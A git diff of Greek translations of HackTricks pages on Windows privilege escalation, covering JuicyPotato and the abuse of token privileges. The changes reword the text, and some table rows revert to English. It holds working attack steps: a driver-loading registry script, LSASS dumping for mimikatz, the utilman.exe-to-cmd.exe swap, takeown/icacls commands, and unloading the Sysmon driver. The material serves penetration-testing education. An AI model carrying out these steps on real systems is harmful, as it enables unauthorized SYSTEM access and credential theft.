**Διεργασία προς εκτέλεση** _εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής_ - **Επιχείρημα Διεργασίας** _προσαρμόστε τα επιχειρήματα της εκκινούμενης διεργασίας_ - **Διεύθυνση RPC Server** _για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό RPC server_ - **Θύρα RPC Server** _χρήσιμη αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό server και το firewall μπλοκάρει τη θύρα `135`…_ @@ -80,7 +80,7 @@ Optional args: ## Παραδείγματα -Σημείωση: Επισκεφθείτε [αυτή τη σελίδα](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs που να δοκιμάσετε. +Σημείωση: Επισκεφθείτε [αυτή τη σελίδα](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs για δοκιμή. ### Πάρτε ένα nc.exe reverse shell ``` @@ -117,7 +117,7 @@ https://ohpe.it/juicy-potato/CLSID/ Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή. -Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε**. +Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε**. **Ελέγξτε** τα λειτουργικά CLSIDs **χρησιμοποιώντας την παράμετρο -c** diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index ef0c7caec..0eed1eb47 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -36,7 +36,7 @@ juicypotato.md ### SeBackupPrivilege -Το σύστημα προκαλεί να **παρέχει πλήρη πρόσβαση** ανάγνωσης σε οποιοδήποτε αρχείο (περιορισμένο σε λειτουργίες ανάγνωσης) μέσω αυτού του δικαιώματος. Χρησιμοποιείται για **ανάγνωση των κατακερματισμών κωδικών πρόσβασης των τοπικών λογαριασμών Διαχειριστή** από τη μητρώο, μετά την οποία, εργαλεία όπως "**psexec**" ή "**wmiexec**" μπορούν να χρησιμοποιηθούν με τον κατακερματισμό (τεχνική Pass-the-Hash). Ωστόσο, αυτή η τεχνική αποτυγχάνει υπό δύο συνθήκες: όταν ο λογαριασμός τοπικού διαχειριστή είναι απενεργοποιημένος, ή όταν υπάρχει πολιτική που αφαιρεί τα διοικητικά δικαιώματα από τους τοπικούς διαχειριστές που συνδέονται απομακρυσμένα.\ +Το σύστημα προκαλεί να **παρέχει πλήρη πρόσβαση** ανάγνωσης σε οποιοδήποτε αρχείο (περιορισμένο σε λειτουργίες ανάγνωσης) μέσω αυτού του δικαιώματος. Χρησιμοποιείται για **ανάγνωση των κατακερματισμών κωδικών πρόσβασης των τοπικών λογαριασμών Διαχειριστή** από τη μητρώο, ακολουθούμενη από εργαλεία όπως "**psexec**" ή "**wmiexec**" που μπορούν να χρησιμοποιηθούν με τον κατακερματισμό (τεχνική Pass-the-Hash). Ωστόσο, αυτή η τεχνική αποτυγχάνει υπό δύο συνθήκες: όταν ο λογαριασμός Τοπικού Διαχειριστή είναι απενεργοποιημένος, ή όταν υπάρχει πολιτική που αφαιρεί τα διοικητικά δικαιώματα από τους Τοπικούς Διαχειριστές που συνδέονται απομακρυσμένα.\ Μπορείτε να **καταχραστείτε αυτό το δικαίωμα** με: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) @@ -64,18 +64,18 @@ juicypotato.md ### SeLoadDriverPrivilege -Αυτό το δικαίωμα επιτρέπει να **φορτώνει και να ξεφορτώνει οδηγούς συσκευών** με τη δημιουργία μιας καταχώρησης μητρώου με συγκεκριμένες τιμές για το `ImagePath` και `Type`. Δεδομένου ότι η άμεση πρόσβαση εγγραφής στο `HKLM` (HKEY_LOCAL_MACHINE) είναι περιορισμένη, πρέπει να χρησιμοποιηθεί το `HKCU` (HKEY_CURRENT_USER). Ωστόσο, για να γίνει το `HKCU` αναγνωρίσιμο από τον πυρήνα για τη ρύθμιση του οδηγού, πρέπει να ακολουθηθεί μια συγκεκριμένη διαδρομή. +Αυτό το δικαίωμα επιτρέπει να **φορτώνει και να ξεφορτώνει οδηγούς συσκευών** με τη δημιουργία μιας καταχώρησης μητρώου με συγκεκριμένες τιμές για `ImagePath` και `Type`. Δεδομένου ότι η άμεση πρόσβαση εγγραφής στο `HKLM` (HKEY_LOCAL_MACHINE) είναι περιορισμένη, πρέπει να χρησιμοποιηθεί το `HKCU` (HKEY_CURRENT_USER). Ωστόσο, για να γίνει το `HKCU` αναγνωρίσιμο από τον πυρήνα για τη ρύθμιση του οδηγού, πρέπει να ακολουθηθεί μια συγκεκριμένη διαδρομή. -Αυτή η διαδρομή είναι `\Registry\User\\System\CurrentControlSet\Services\DriverName`, όπου `` είναι ο Σχετικός Αναγνωριστής του τρέχοντος χρήστη. Μέσα στο `HKCU`, αυτή η ολόκληρη διαδρομή πρέπει να δημιουργηθεί, και δύο τιμές πρέπει να οριστούν: +Αυτή η διαδρομή είναι `\Registry\User\\System\CurrentControlSet\Services\DriverName`, όπου `` είναι ο Σχετικός Αναγνωριστής του τρέχοντος χρήστη. Μέσα στο `HKCU`, πρέπει να δημιουργηθεί αυτή η ολόκληρη διαδρομή και να ρυθμιστούν δύο τιμές: -- `ImagePath`, που είναι η διαδρομή προς το δυαδικό αρχείο που θα εκτελεστεί +- `ImagePath`, που είναι η διαδρομή προς το δυαδικό που θα εκτελεστεί - `Type`, με τιμή `SERVICE_KERNEL_DRIVER` (`0x00000001`). **Βήματα που πρέπει να ακολουθηθούν:** 1. Πρόσβαση στο `HKCU` αντί για `HKLM` λόγω περιορισμένης πρόσβασης εγγραφής. 2. Δημιουργία της διαδρομής `\Registry\User\\System\CurrentControlSet\Services\DriverName` εντός του `HKCU`, όπου `` αντιπροσωπεύει τον Σχετικό Αναγνωριστή του τρέχοντος χρήστη. -3. Ορισμός του `ImagePath` στη διαδρομή εκτέλεσης του δυαδικού αρχείου. +3. Ρύθμιση του `ImagePath` στη διαδρομή εκτέλεσης του δυαδικού. 4. Ανάθεση του `Type` ως `SERVICE_KERNEL_DRIVER` (`0x00000001`). ```python # Example Python code to set the registry values @@ -88,7 +88,7 @@ reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary") reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001) reg.CloseKey(key) ``` -Περισσότεροι τρόποι για να καταχραστεί αυτή η προνομία στο [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) +Περισσότεροι τρόποι για να καταχραστεί αυτή η εξουσία στο [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) ### SeTakeOwnershipPrivilege @@ -114,7 +114,7 @@ c:\inetpub\wwwwroot\web.config #### Dump memory -Μπορείτε να χρησιμοποιήσετε το [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) από το [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) για να **καταγράψετε τη μνήμη μιας διεργασίας**. Συγκεκριμένα, αυτό μπορεί να εφαρμοστεί στη διεργασία **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)**, η οποία είναι υπεύθυνη για την αποθήκευση των διαπιστευτηρίων χρηστών μόλις ένας χρήστης έχει συνδεθεί επιτυχώς σε ένα σύστημα. +Μπορείτε να χρησιμοποιήσετε το [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) από το [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) για να **καταγράψετε τη μνήμη μιας διεργασίας**. Συγκεκριμένα, αυτό μπορεί να εφαρμοστεί στη διεργασία **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)**, η οποία είναι υπεύθυνη για την αποθήκευση των διαπιστευτηρίων χρήστη μόλις ο χρήστης έχει συνδεθεί επιτυχώς σε ένα σύστημα. Μπορείτε στη συνέχεια να φορτώσετε αυτό το dump στο mimikatz για να αποκτήσετε κωδικούς πρόσβασης: ``` @@ -142,31 +142,31 @@ whoami /priv ### Ενεργοποίηση Όλων των tokens -Αν έχετε tokens που είναι απενεργοποιημένα, μπορείτε να χρησιμοποιήσετε το σενάριο [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) για να ενεργοποιήσετε όλα τα tokens: +Αν έχετε tokens απενεργοποιημένα, μπορείτε να χρησιμοποιήσετε το σενάριο [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) για να ενεργοποιήσετε όλα τα tokens: ```bash .\EnableAllTokenPrivs.ps1 whoami /priv ``` -Ή το **script** που είναι ενσωματωμένο σε αυτήν την [**ανάρτηση**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). +Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). -## Πίνακας +## Table -Πλήρης οδηγός προνομίων token στο [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), η παρακάτω σύνοψη θα αναφέρει μόνο άμεσους τρόπους εκμετάλλευσης του προνομίου για την απόκτηση μιας διαχειριστικής συνεδρίας ή την ανάγνωση ευαίσθητων αρχείων. +Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files. -| Προνόμιο | Επιπτώσεις | Εργαλείο | Διαδρομή εκτέλεσης | Σημειώσεις | -| ------------------------ | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **`SeAssignPrimaryToken`** | _**Διαχειριστής**_ | 3rd party tool | _"Θα επέτρεπε σε έναν χρήστη να μιμηθεί tokens και να αποκτήσει δικαιώματα στο nt system χρησιμοποιώντας εργαλεία όπως το potato.exe, rottenpotato.exe και juicypotato.exe"_ | Ευχαριστώ τον [Aurélien Chalot](https://twitter.com/Defte_) για την ενημέρωση. Θα προσπαθήσω να το ξαναδιατυπώσω σε κάτι πιο συνταγές σύντομα. | -| **`SeBackup`** | **Απειλή** | _**Ενσωματωμένες εντολές**_ | Διαβάστε ευαίσθητα αρχεία με `robocopy /b` |

- Μπορεί να είναι πιο ενδιαφέρον αν μπορείτε να διαβάσετε το %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (και robocopy) δεν είναι χρήσιμο όταν πρόκειται για ανοιχτά αρχεία.

- Το Robocopy απαιτεί τόσο το SeBackup όσο και το SeRestore για να λειτουργήσει με την παράμετρο /b.

| -| **`SeCreateToken`** | _**Διαχειριστής**_ | 3rd party tool | Δημιουργία αυθαίρετου token που περιλαμβάνει δικαιώματα τοπικού διαχειριστή με `NtCreateToken`. | | -| **`SeDebug`** | _**Διαχειριστής**_ | **PowerShell** | Διπλασιάστε το token του `lsass.exe`. | Το script μπορεί να βρεθεί στο [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Διαχειριστής**_ | 3rd party tool |

1. Φορτώστε ελαττωματικό kernel driver όπως το szkg64.sys
2. Εκμεταλλευτείτε την ευπάθεια του driver

Εναλλακτικά, το προνόμιο μπορεί να χρησιμοποιηθεί για να ξεφορτωθείτε drivers που σχετίζονται με την ασφάλεια με την ενσωματωμένη εντολή ftlMC. π.χ.: fltMC sysmondrv

|

1. Η ευπάθεια szkg64 αναφέρεται ως CVE-2018-15732
2. Ο szkg64 κωδικός εκμετάλλευσης δημιουργήθηκε από τον Parvez Anwar

| -| **`SeRestore`** | _**Διαχειριστής**_ | **PowerShell** |

1. Εκκινήστε το PowerShell/ISE με το προνόμιο SeRestore παρόν.
2. Ενεργοποιήστε το προνόμιο με Enable-SeRestorePrivilege).
3. Μετονομάστε το utilman.exe σε utilman.old
4. Μετονομάστε το cmd.exe σε utilman.exe
5. Κλειδώστε την κονσόλα και πατήστε Win+U

|

Η επίθεση μπορεί να ανιχνευθεί από κάποιο λογισμικό AV.

Η εναλλακτική μέθοδος βασίζεται στην αντικατάσταση των δυαδικών αρχείων υπηρεσίας που αποθηκεύονται στο "Program Files" χρησιμοποιώντας το ίδιο προνόμιο

| -| **`SeTakeOwnership`** | _**Διαχειριστής**_ | _**Ενσωματωμένες εντολές**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Μετονομάστε το cmd.exe σε utilman.exe
4. Κλειδώστε την κονσόλα και πατήστε Win+U

|

Η επίθεση μπορεί να ανιχνευθεί από κάποιο λογισμικό AV.

Η εναλλακτική μέθοδος βασίζεται στην αντικατάσταση των δυαδικών αρχείων υπηρεσίας που αποθηκεύονται στο "Program Files" χρησιμοποιώντας το ίδιο προνόμιο.

| -| **`SeTcb`** | _**Διαχειριστής**_ | 3rd party tool |

Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

| | +| Privilege | Impact | Tool | Execution path | Remarks | +| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"Θα επέτρεπε σε έναν χρήστη να μιμηθεί tokens και να αποκτήσει δικαιώματα nt system χρησιμοποιώντας εργαλεία όπως το potato.exe, rottenpotato.exe και juicypotato.exe"_ | Ευχαριστώ [Aurélien Chalot](https://twitter.com/Defte_) για την ενημέρωση. Θα προσπαθήσω να το ξαναδιατυπώσω σε κάτι πιο συνταγές σύντομα. | +| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Διαβάστε ευαίσθητα αρχεία με `robocopy /b` |

- Μπορεί να είναι πιο ενδιαφέρον αν μπορείτε να διαβάσετε %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (και robocopy) δεν είναι χρήσιμο όταν πρόκειται για ανοιχτά αρχεία.

- Το Robocopy απαιτεί τόσο το SeBackup όσο και το SeRestore για να λειτουργήσει με την παράμετρο /b.

| +| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Δημιουργήστε αυθαίρετο token που περιλαμβάνει δικαιώματα τοπικού διαχειριστή με `NtCreateToken`. | | +| **`SeDebug`** | _**Admin**_ | **PowerShell** | Διπλασιάστε το token του `lsass.exe`. | Το σενάριο μπορεί να βρεθεί στο [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. Φορτώστε ελαττωματικό οδηγό πυρήνα όπως το szkg64.sys
2. Εκμεταλλευτείτε την ευπάθεια του οδηγού

Εναλλακτικά, το προνόμιο μπορεί να χρησιμοποιηθεί για να ξεφορτωθείτε οδηγούς που σχετίζονται με την ασφάλεια με την εντολή ftlMC builtin. δηλαδή: fltMC sysmondrv

|

1. Η ευπάθεια szkg64 αναφέρεται ως CVE-2018-15732
2. Ο κωδικός εκμετάλλευσης szkg64 δημιουργήθηκε από Parvez Anwar

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Εκκινήστε το PowerShell/ISE με το προνόμιο SeRestore παρόν.
2. Ενεργοποιήστε το προνόμιο με Enable-SeRestorePrivilege).
3. Μετονομάστε το utilman.exe σε utilman.old
4. Μετονομάστε το cmd.exe σε utilman.exe
5. Κλειδώστε την κονσόλα και πατήστε Win+U

|

Η επίθεση μπορεί να ανιχνευθεί από κάποιο λογισμικό AV.

Η εναλλακτική μέθοδος βασίζεται στην αντικατάσταση των δυαδικών αρχείων υπηρεσίας που αποθηκεύονται στο "Program Files" χρησιμοποιώντας το ίδιο προνόμιο

| +| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Μετονομάστε το cmd.exe σε utilman.exe
4. Κλειδώστε την κονσόλα και πατήστε Win+U

|

Η επίθεση μπορεί να ανιχνευθεί από κάποιο λογισμικό AV.

Η εναλλακτική μέθοδος βασίζεται στην αντικατάσταση των δυαδικών αρχείων υπηρεσίας που αποθηκεύονται στο "Program Files" χρησιμοποιώντας το ίδιο προνόμιο.

| +| **`SeTcb`** | _**Admin**_ | 3rd party tool |

Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

| | -## Αναφορά +## Reference -- Ρίξτε μια ματιά σε αυτόν τον πίνακα που ορίζει τα Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -- Ρίξτε μια ματιά σε [**αυτήν την εργασία**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) σχετικά με την εκμετάλλευση με tokens. +- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) +- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index ad8c73a0f..d5e65812f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -4,7 +4,7 @@ ## Δικαιώματα -Αν **δεν ξέρετε τι είναι τα Windows Access Tokens** διαβάστε αυτή τη σελίδα πριν συνεχίσετε: +Αν **δεν ξέρετε τι είναι τα Windows Access Tokens**, διαβάστε αυτή τη σελίδα πριν συνεχίσετε: {{#ref}} ../access-tokens.md @@ -14,7 +14,7 @@ ### SeImpersonatePrivilege -Αυτό είναι ένα δικαίωμα που κατέχει οποιαδήποτε διαδικασία και επιτρέπει την προσωποποίηση (αλλά όχι τη δημιουργία) οποιουδήποτε δικαιώματος, εφόσον μπορεί να αποκτηθεί ένα handle σε αυτό. Ένα προνομιακό δικαίωμα μπορεί να αποκτηθεί από μια υπηρεσία Windows (DCOM) προκαλώντας την να εκτελέσει NTLM authentication κατά ενός exploit, επιτρέποντας στη συνέχεια την εκτέλεση μιας διαδικασίας με δικαιώματα SYSTEM. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί χρησιμοποιώντας διάφορα εργαλεία, όπως [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (το οποίο απαιτεί να είναι απενεργοποιημένο το winrm), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) και [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +Αυτό είναι το δικαίωμα που κατέχει οποιαδήποτε διαδικασία που επιτρέπει την προσωποποίηση (αλλά όχι τη δημιουργία) οποιουδήποτε δικαιώματος, εφόσον μπορεί να αποκτηθεί ένα handle σε αυτό. Ένα προνομιακό δικαίωμα μπορεί να αποκτηθεί από μια υπηρεσία Windows (DCOM) προκαλώντας την να εκτελέσει NTLM authentication κατά ενός exploit, επιτρέποντας στη συνέχεια την εκτέλεση μιας διαδικασίας με δικαιώματα SYSTEM. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί χρησιμοποιώντας διάφορα εργαλεία, όπως [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (το οποίο απαιτεί να είναι απενεργοποιημένο το winrm), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) και [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} ../roguepotato-and-printspoofer.md @@ -60,11 +60,11 @@ - **Προσωποποίηση χωρίς SeImpersonatePrivilege:** Είναι δυνατόν να εκμεταλλευτείτε το SeCreateTokenPrivilege για EoP προσωποποιώντας δικαιώματα υπό συγκεκριμένες συνθήκες. - **Συνθήκες για Προσωποποίηση Δικαιωμάτων:** Η επιτυχής προσωποποίηση απαιτεί το στοχευμένο δικαίωμα να ανήκει στον ίδιο χρήστη και να έχει επίπεδο ακεραιότητας που είναι μικρότερο ή ίσο με το επίπεδο ακεραιότητας της διαδικασίας που προσπαθεί να προσωποποιήσει. -- **Δημιουργία και Τροποποίηση Δικαιωμάτων Προσωποποίησης:** Οι χρήστες μπορούν να δημιουργήσουν ένα δικαίωμα προσωποποίησης και να το ενισχύσουν προσθέτοντας το SID (Security Identifier) μιας προνομιακής ομάδας. +- **Δημιουργία και Τροποποίηση Δικαιωμάτων Προσωποποίησης:** Οι χρήστες μπορούν να δημιουργήσουν ένα δικαίωμα προσωποποίησης και να το ενισχύσουν προσθέτοντας ένα SID (Security Identifier) προνομιακής ομάδας. ### SeLoadDriverPrivilege -Αυτό το δικαίωμα επιτρέπει να **φορτώνει και να ξεφορτώνει οδηγούς συσκευών** με τη δημιουργία μιας καταχώρισης μητρώου με συγκεκριμένες τιμές για το `ImagePath` και το `Type`. Δεδομένου ότι η άμεση πρόσβαση εγγραφής στο `HKLM` (HKEY_LOCAL_MACHINE) είναι περιορισμένη, πρέπει να χρησιμοποιηθεί το `HKCU` (HKEY_CURRENT_USER). Ωστόσο, για να γίνει το `HKCU` αναγνωρίσιμο από τον πυρήνα για τη ρύθμιση του οδηγού, πρέπει να ακολουθηθεί μια συγκεκριμένη διαδρομή. +Αυτό το δικαίωμα επιτρέπει να **φορτώνει και να ξεφορτώνει οδηγούς συσκευών** με τη δημιουργία μιας καταχώρησης μητρώου με συγκεκριμένες τιμές για το `ImagePath` και `Type`. Δεδομένου ότι η άμεση πρόσβαση εγγραφής στο `HKLM` (HKEY_LOCAL_MACHINE) είναι περιορισμένη, πρέπει να χρησιμοποιηθεί το `HKCU` (HKEY_CURRENT_USER). Ωστόσο, για να γίνει το `HKCU` αναγνωρίσιμο από τον πυρήνα για τη ρύθμιση του οδηγού, πρέπει να ακολουθηθεί μια συγκεκριμένη διαδρομή. Αυτή η διαδρομή είναι `\Registry\User\\System\CurrentControlSet\Services\DriverName`, όπου `` είναι ο Σχετικός Αναγνωριστής του τρέχοντος χρήστη. Μέσα στο `HKCU`, αυτή η ολόκληρη διαδρομή πρέπει να δημιουργηθεί, και δύο τιμές πρέπει να οριστούν: @@ -88,7 +88,7 @@ reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary") reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001) reg.CloseKey(key) ``` -Περισσότεροι τρόποι για να καταχραστεί αυτή η εξουσία στο [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) +Περισσότεροι τρόποι για να καταχραστεί αυτή η προνομία στο [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) ### SeTakeOwnershipPrivilege @@ -138,7 +138,7 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,- May be more interesting if you can read %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter.

| -| **`SeCreateToken`** | _**Διαχειριστής**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. | | -| **`SeDebug`** | _**Διαχειριστής**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Διαχειριστής**_ | 3rd party tool |

1. Load buggy kernel driver such as szkg64.sys
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv

|

1. The szkg64 vulnerability is listed as CVE-2018-15732
2. The szkg64 exploit code was created by Parvez Anwar

| -| **`SeRestore`** | _**Διαχειριστής**_ | **PowerShell** |

1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with Enable-SeRestorePrivilege).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege

| -| **`SeTakeOwnership`** | _**Διαχειριστής**_ | _**Ενσωματωμένες εντολές**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.

| +| **`SeAssignPrimaryToken`** | _**Διαχειριστής**_ | 3rd party tool | _"Θα επέτρεπε σε έναν χρήστη να μιμηθεί tokens και να αποκτήσει δικαιώματα nt system χρησιμοποιώντας εργαλεία όπως το potato.exe, rottenpotato.exe και juicypotato.exe"_ | Ευχαριστώ τον [Aurélien Chalot](https://twitter.com/Defte_) για την ενημέρωση. Θα προσπαθήσω να το ξαναδιατυπώσω σε κάτι πιο συνταγές σύντομα. | +| **`SeBackup`** | **Απειλή** | _**Ενσωματωμένες εντολές**_ | Διαβάστε ευαίσθητα αρχεία με `robocopy /b` |

- Μπορεί να είναι πιο ενδιαφέρον αν μπορείτε να διαβάσετε το %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (και robocopy) δεν είναι χρήσιμο όταν πρόκειται για ανοιχτά αρχεία.

- Το Robocopy απαιτεί τόσο το SeBackup όσο και το SeRestore για να λειτουργήσει με την παράμετρο /b.

| +| **`SeCreateToken`** | _**Διαχειριστής**_ | 3rd party tool | Δημιουργία αυθαίρετου token που περιλαμβάνει δικαιώματα τοπικού διαχειριστή με `NtCreateToken`. | | +| **`SeDebug`** | _**Διαχειριστής**_ | **PowerShell** | Αντιγραφή του token `lsass.exe`. | Το script μπορεί να βρεθεί στο [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeLoadDriver`** | _**Διαχειριστής**_ | 3rd party tool |

1. Φορτώστε ελαττωματικό kernel driver όπως το szkg64.sys
2. Εκμεταλλευτείτε την ευπάθεια του driver

Εναλλακτικά, το προνόμιο μπορεί να χρησιμοποιηθεί για να ξεφορτωθείτε drivers που σχετίζονται με την ασφάλεια με την ενσωματωμένη εντολή ftlMC. δηλαδή: fltMC sysmondrv

|

1. Η ευπάθεια szkg64 αναφέρεται ως CVE-2018-15732
2. Ο κωδικός εκμετάλλευσης szkg64 δημιουργήθηκε από Parvez Anwar

| +| **`SeRestore`** | _**Διαχειριστής**_ | **PowerShell** |

1. Εκκινήστε το PowerShell/ISE με το προνόμιο SeRestore παρόν.
2. Ενεργοποιήστε το προνόμιο με Enable-SeRestorePrivilege).
3. Μετονομάστε το utilman.exe σε utilman.old
4. Μετονομάστε το cmd.exe σε utilman.exe
5. Κλειδώστε την κονσόλα και πατήστε Win+U

|

Η επίθεση μπορεί να ανιχνευθεί από κάποιο λογισμικό AV.

Η εναλλακτική μέθοδος βασίζεται στην αντικατάσταση των δυαδικών αρχείων υπηρεσιών που αποθηκεύονται στο "Program Files" χρησιμοποιώντας το ίδιο προνόμιο

| +| **`SeTakeOwnership`** | _**Διαχειριστής**_ | _**Ενσωματωμένες εντολές**_ |

